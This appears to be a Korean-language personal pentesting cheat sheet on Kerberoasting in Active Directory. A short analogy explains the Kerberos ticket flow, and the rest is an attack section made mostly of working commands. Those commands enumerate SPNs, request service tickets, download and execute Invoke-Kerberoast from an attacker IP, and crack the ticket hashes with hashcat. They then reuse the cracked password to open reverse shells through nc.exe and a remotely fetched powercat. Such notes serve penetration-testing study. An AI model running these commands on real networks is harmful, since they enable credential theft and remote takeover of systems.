설명

인증 절차

  1. AS-REQ: 내가 KDC(AS)한테 가서 “나 Wook인데, 자유이용권(TGT)좀 줘!”하고 내 비밀번호로 암호화한 ‘오늘 날짜/시간’을 보낸다.
  2. AS-REP: KDC가 내 암호로 그걸 풀어보고 맞으면, 나한테 자유이용권(TGT)을 준다.
  3. TGS-REQ: 내가 “나 A 놀이기구(서비스) 타고 싶어” 라고 말하면서 나의 자유이용권(TGT)을 KDC(TGS)에게 보여준다.
  4. TGS-REP: KDC가 나의 자유이용권(TGT)을 확인하고 A 놀이기구를 이용할 수 있는 A 기구 전용 티켓(TGS)을 발급해준다.
  5. AP-REQ: A 놀이기구 앞에 가서 KDC한테 발급 받은 A 기구 전용 티켓(TGS)을 보여준다.
  6. AP-REP: A 놀이기구 지킴이가 A 전용 티켓(TGS)을 보고 입장을 허락해준다.

공격

Get-SPN.ps1 (Shell but no password)

<aside>

Get-SPN.ps1

# <https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1>
# Source / credit:
# <https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx>

cls
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"

## You can use this to filter for OU's:
## $results = $search.Findall() | ?{ $_.path -like '*OU=whatever,DC=whatever,DC=whatever*' }
$results = $search.Findall()

foreach( $result in $results ) {
	$userEntry = $result.GetDirectoryEntry()
	Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
	Write-host "DN      =      "  $userEntry.distinguishedName
	Write-host "Object Cat. = "  $userEntry.objectCategory
	Write-host "servicePrincipalNames"

	$i=1
	foreach( $SPN in $userEntry.servicePrincipalName ) {
		Write-host "SPN(" $i ")   =      " $SPN
		$i+=1
	}
	Write-host ""
}

Requesting the Ticket

Request and store the ticket in the memory

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.test.local'

Invoke-Kerberoast.ps1

wget <https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1>

iex(new-object net.webclient).downloadString('<http://192.168.49.211:80/Invoke-Kerberoast.ps1>'); Invoke-Kerberoast -OutputFormat Hashcat

Crack the hash

hashcat -m 13100 --force -a 0 svc_mssql.kerberoast /usr/share/wordlists/rockyou.txt

Log in with the cracked credentials

PS> import-module ./Invoke-RunasCs.ps1
PS> Invoke-RunasCs -Username svc_mssql -Password password123 -Command "whoami"
PS> Invoke-RunasCs -Username svc_mssql -Password password123 -Command "c:/Users/Public/nc.exe $IP 443 -e cmd.exe"
PS> Invoke-RunasCs -Username svc_mssql -Password password123 -Command "Powershell IEX(New-Object System.Net.WebClient).DownloadString('<http://192.168.49.211/powercat.ps1>');powercat -c $IP -p 443 -e cmd.exe"

</aside>

Linux - impacket-GetUserSPNs

# Listing SPN Accounts
impacket-GetUserSPNs -dc-ip $DC_IP [domain]/[username]

# Requesting all TGS Tickets
impacket-GetUserSPNs [domain]/[username]:[password] -dc-ip $DC_IP -request -outputfile hashes.txt

# Requesting a Single TGS Ticket
impacket-GetUserSPNs [domain]/[username]:[password] -dc-ip $DC_IP -request-user [user]

# With NT Hash
impacket-GetUserSPNs [domain]/[username] -hashes [LMHASH:NTHASH] -request -dc-ip $DC_IP -outputfile hashes.txt

# Hash cracking
hashcat -m 13100 -a 0 [hash] [wordlist]

Windows - Built-In, PowerView, Rubeus

# Built-in - Focus on entries where the backing object is a user, not a computer ($)
setspn.exe -Q */*

# PowerView
Get-NetUser -SPN | Select-Object serviceprincipalname

# Rubeus
rubeus.exe kerberoast /stats
rubeus.exe kerberoast /nowrap
hashcat -m 13100 -a 0 [hash] [wordlist]